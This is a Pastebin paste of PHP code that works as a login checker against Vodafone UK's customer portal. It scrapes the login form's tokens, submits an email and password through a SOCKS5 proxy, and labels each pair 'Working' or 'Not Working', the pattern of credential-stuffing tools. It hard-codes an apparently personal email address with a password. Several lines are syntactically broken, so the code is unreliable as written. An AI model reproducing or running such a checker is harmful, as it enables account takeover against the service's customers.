Advertisement
Guest User

Untitled

a guest
Sep 9th, 2016
131
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 9.52 KB | None | 0 0
  1. class curl
  2. {
  3. private $options;
  4. public $errno;
  5. public $errmsg;
  6. public $content;
  7. public $headers;
  8. public $httpcode;
  9. public function __construct()
  10. {
  11. global $config;
  12. $this->options = array(
  13. CURLOPT_RETURNTRANSFER => true,
  14. CURLOPT_FOLLOWLOCATION => true,
  15. CURLOPT_SSL_VERIFYHOST => 2,
  16. CURLOPT_SSL_VERIFYPEER => false,
  17. CURLOPT_TIMEOUT => 30,
  18. CURLOPT_AUTOREFERER => true,
  19. CURLOPT_COOKIEFILE => $config['cookie_file'],
  20. CURLOPT_COOKIEJAR => $config['cookie_file']);
  21. }
  22.  
  23. public function setopt($key, $val)
  24. {
  25. eval('$opt = CURLOPT_' . strtoupper($key) . ';');
  26. $this->options[$opt] = $val;
  27. }
  28.  
  29. public function removeopt($key)
  30. {
  31. switch (strtolower($key))
  32. {
  33. case 'post':
  34. unset($this->options[CURLOPT_POST]);
  35. unset($this->options[CURLOPT_POSTFIELDS]);
  36. break;
  37. case 'sock5':
  38. unset($this->options[CURLOPT_HTTPPROXYTUNNEL]);
  39. unset($this->options[CURLOPT_PROXY]);
  40. unset($this->options[CURLOPT_PROXYTYPE]);
  41. break;
  42. default:
  43. eval('$opt = CURLOPT_' . strtoupper($key) . ';');
  44. unset($this->options[$opt]);
  45. }
  46. }
  47.  
  48. public function sock5($sock)
  49. {
  50. $this->options[CURLOPT_HTTPPROXYTUNNEL] = true;
  51. $this->options[CURLOPT_PROXY] = $sock;
  52. $this->options[CURLOPT_PROXYTYPE] = CURLPROXY_SOCKS5;
  53. }
  54.  
  55. public function ref($ref)
  56. {
  57. $this->options[CURLOPT_REFERER] = $ref;
  58. }
  59.  
  60. public function httpheader($headers)
  61. {
  62. $this->options[CURLOPT_HTTPHEADER] = $headers;
  63. }
  64.  
  65. public function cookies($cookies)
  66. {
  67. $this->options[CURLOPT_COOKIE] = $cookies;
  68. $this->removeopt('cookiefile');
  69. $this->removeopt('cookiejar');
  70. }
  71.  
  72. public function header($val = false)
  73. {
  74. $this->options[CURLOPT_HEADER] = $val;
  75. }
  76.  
  77. public function nobody($val = false)
  78. {
  79. $this->options[CURLOPT_NOBODY] = $val;
  80. }
  81.  
  82. public function ua($ua)
  83. {
  84. $this->options[CURLOPT_USERAGENT] = $ua;
  85. }
  86.  
  87. public function postdata($postdata)
  88. {
  89. if (is_array($postdata))
  90. {
  91. $post_array = array();
  92. foreach ($postdata as $key => $value)
  93. {
  94. $post_array[] = urlencode($key) . '=' . urlencode($value);
  95. }
  96. $post_string = implode('&', $post_array);
  97. } else
  98. {
  99. $post_string = $postdata;
  100. }
  101. $this->options[CURLOPT_POST] = true;
  102. $this->options[CURLOPT_POSTFIELDS] = $post_string;
  103. }
  104.  
  105. public function page($url)
  106. {
  107. $ch = curl_init($url);
  108. curl_setopt_array($ch, $this->options);
  109. $this->content = curl_exec($ch);
  110. $this->errno = curl_errno($ch);
  111. $this->errmsg = curl_error($ch);
  112. $this->headers = curl_getinfo($ch);
  113. $this->httpcode = $this->headers['http_code'];
  114. curl_close($ch);
  115. $this->removeopt('post');
  116. }
  117.  
  118. public function validate()
  119. {
  120. if ($this->errno)
  121. {
  122. return false;
  123. }
  124. return true;
  125. }
  126.  
  127. public function display($d = 0)
  128. {
  129. echo $this->content;
  130. if ($d)
  131. {
  132. exit;
  133. }
  134. }
  135.  
  136. public function getStr($find_start = '', $find_end = '')
  137. {
  138. if ($find_start == '')
  139. {
  140. return '';
  141. }
  142. $start = strpos($this->content, $find_start);
  143. if ($start === false)
  144. {
  145. return '';
  146. }
  147. $length = strlen($find_start);
  148. $substr = substr($this->content, $start + $length);
  149. if ($find_end == '')
  150. {
  151. return $substr;
  152. }
  153. $end = strpos($substr, $find_end);
  154. if ($end === false)
  155. {
  156. return $substr;
  157. }
  158. return substr($substr, 0, $end);
  159. }
  160.  
  161. public function has($str, $type = 1)
  162. {
  163. $bool = $type == 1 ? stripos($this->content, $str) : strpos($this->content, $str);
  164. return $bool !== false;
  165. }
  166. }
  167.  
  168. set_time_limit(0);
  169. $dir = dirname(__file__);
  170. $config['cookie_file'] = $dir . '/cookies/' . md5($_SERVER['REMOTE_ADDR']) .
  171. 'ebay.cookie';
  172.  
  173. if (!file_exists($dir . '/cookies/index.html'))
  174. {
  175. $f = fopen($dir . '/cookies/index.html', 'w');
  176. fwrite($f, 'hhhhhhhhhhhhh');
  177. fclose($f);
  178. }
  179.  
  180. if (!file_exists($config['cookie_file']))
  181. {
  182. delete_cookies();
  183. }
  184.  
  185. function delete_cookies()
  186. {
  187. global $config;
  188. $f = fopen($config['cookie_file'], 'w');
  189. fwrite($f, '');
  190. fclose($f);
  191. }
  192.  
  193. function get($list)
  194. {
  195. preg_match_all("/d{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}/", $list, $socks);
  196. return $socks[0];
  197. }
  198.  
  199. function xflush()
  200. {
  201. static $output_handler = null;
  202. if ($output_handler === null)
  203. {
  204. $output_handler = @ini_get('output_handler');
  205. }
  206. if ($output_handler == 'ob_gzhandler')
  207. {
  208. return;
  209. }
  210. flush();
  211. if (function_exists('ob_flush') and function_exists('ob_get_length') and
  212. ob_get_length() !== false)
  213. {
  214. @ob_flush();
  215. } else
  216. if (function_exists('ob_end_flush') and function_exists('ob_start') and
  217. function_exists('ob_get_length') and ob_get_length() !== false)
  218. {
  219. @ob_end_flush();
  220. @ob_start();
  221. }
  222. }
  223. function getCookies($str){
  224. preg_match_all('/Set-Cookie: ([^; ]+)(;| )/si', $str, $matches);
  225. $cookies = implode(";", $matches[1]);
  226. return $cookies;
  227. }
  228. function fetch_value($str, $find_start = '', $find_end = '')
  229. {
  230. if ($find_start == '')
  231. {
  232. return '';
  233. }
  234. $start = strpos($str, $find_start);
  235. if ($start === false)
  236. {
  237. return '';
  238. }
  239. $length = strlen($find_start);
  240. $substr = substr($str, $start + $length);
  241. if ($find_end == '')
  242. {
  243. return $substr;
  244. }
  245. $end = strpos($substr, $find_end);
  246. if ($end === false)
  247. {
  248. return $substr;
  249. }
  250. return substr($substr, 0, $end);
  251. }
  252.  
  253. function array_remove_empty($arr)
  254. {
  255. $narr = array();
  256. while (list($key, $val) = each($arr))
  257. {
  258. if (is_array($val))
  259. {
  260. $val = array_remove_empty($val);
  261. // does the result array contain anything?
  262. if (count($val) != 0)
  263. {
  264. // yes :-)
  265. $narr[$key] = trim($val);
  266. }
  267. } else
  268. {
  269. if (trim($val) != "")
  270. {
  271. $narr[$key] = trim($val);
  272. }
  273. }
  274. }
  275. unset($arr);
  276. return $narr;
  277. }
  278.  
  279. function display($m, $t = 1, $d = 0)
  280. {
  281. if ($t == 1)
  282. {
  283. echo '<div>' . $m . '</div>';
  284. } else
  285. {
  286. echo $m;
  287. }
  288. if ($d)
  289. {
  290. exit;
  291. }
  292. }
  293.  
  294. require ('./functions.php');
  295.  
  296. $curl = new curl();
  297. delete_cookies();
  298. $curl->ua('Mozilla/5.0 (Windows NT 6.2; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0');
  299. $curl->ref('https://www.vodafone.co.uk/myvodafone/faces/home');
  300. $result = array();
  301. delete_cookies();
  302. $curl->header(true);
  303. $curl->sock5($sock);
  304. $curl->page('https://www.vodafone.co.uk/myvodafone/faces/home');
  305. if($curl->validate()){
  306. $afrLoop = $curl->getStr(', "_afrLoop=','"');
  307. $curl->page('https://www.vodafone.co.uk/myvodafone/faces/home?_afrLoop='.$afrLoop.'&_afrWindowMode=0&_afrWindowId=null');
  308. if($curl->validate()){
  309. $var = array(
  310. 'authn_try_count' => $curl->getStr('authn_try_count" value="','"'),
  311. 'request_id' => $curl->getStr('request_id" value="','"'),
  312. 'OAM_REQ' => urldecode($curl->getStr('OAM_REQ" value="','"')),
  313. 'locale' => $curl->getStr('locale" value="','"'),
  314. );
  315. $curl->postdata($var);
  316. $curl->page('https://www.vodafone.co.uk/myvodafone/faces/oracle/webcenter/portalapp/pagehierarchy/Page1.jspx');
  317. if($curl->validate()){
  318. $viewState = $curl->getStr('javax.faces.ViewState" value="','"');
  319. $oamreq = urldecode($curl->getStr('OAM_REQ" value="','"'));
  320. $user = urlencode('stacyholmes09@gmail.com');
  321. password = 'test1234567';
  322. $curl->postdata('searchQuery=Search&username='.$user.'&password='.$pwd.'&OAM_REQ='.$oamreq.'&org.apache.myfaces.trinidad.faces.FORM=f1&javax.faces.ViewState='.$viewState.'&source=T:oc_5739652421region1:0:loginForm:signin1');
  323. $curl->page('https://www.vodafone.co.uk/oam/server/auth_cred_submit');
  324. if($curl->validate()){
  325. $error = $curl->getStr('p_error_code" value="','"');
  326. if(!$error){
  327. if($curl->has('appmanager')){
  328. echo 'Working - $user and $password'
  329. }else{
  330. Unknown - $user and $password
  331. }
  332. }else{
  333. Not Working - $user and $password
  334. }
  335. }else
  336. {
  337. $result['error'] = 1;
  338. $result['msg'] = $sock . ' => Die/Timeout';
  339. }
  340. }else
  341. {
  342. $result['error'] = 1;
  343. $result['msg'] = $sock . ' => Die/Timeout';
  344. }
  345. }else
  346. {
  347. $result['error'] = 1;
  348. $result['msg'] = $sock . ' => Die/Timeout';
  349. }
  350. }else
  351. {
  352. $result['error'] = 1;
  353. $result['msg'] = $sock . ' => Die/Timeout';
  354. }
  355. echo json_encode($result);
  356. exit;
  357.  
  358. }
  359.  
  360. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement